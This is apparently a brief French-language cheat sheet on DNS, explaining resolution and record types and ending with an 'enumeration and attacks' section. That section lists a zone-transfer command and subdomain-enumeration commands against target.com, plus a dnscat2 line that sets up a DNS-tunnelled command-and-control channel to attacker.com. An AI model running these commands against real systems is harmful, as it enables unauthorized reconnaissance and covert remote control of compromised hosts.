DNS — Annuaire d'Internet
★★★★★
Qu'est-ce que DNS ?
DNS (Domain Name System) traduit les noms de domaine (google.com) en adresses IP. Hiérarchique : votre PC demande à un resolver local, qui demande aux serveurs racine, puis TLD (.com), puis authoritative.
Types d'enregistrements
A -> IPv4
AAAA -> IPv6
CNAME -> Alias
MX -> Serveur mail
NS -> Serveurs DNS autoritatifs
TXT -> SPF, DKIM, vérification
PTR -> Reverse DNS (IP -> nom) Énumération et attaques
# Zone transfer (AXFR)
dig axfr @ns1.target.com target.com
# Sous-domaines
subfinder -d target.com
amass enum -passive -d target.com
# DNS Tunneling (C2)
dnscat2 --dns domain=attacker.com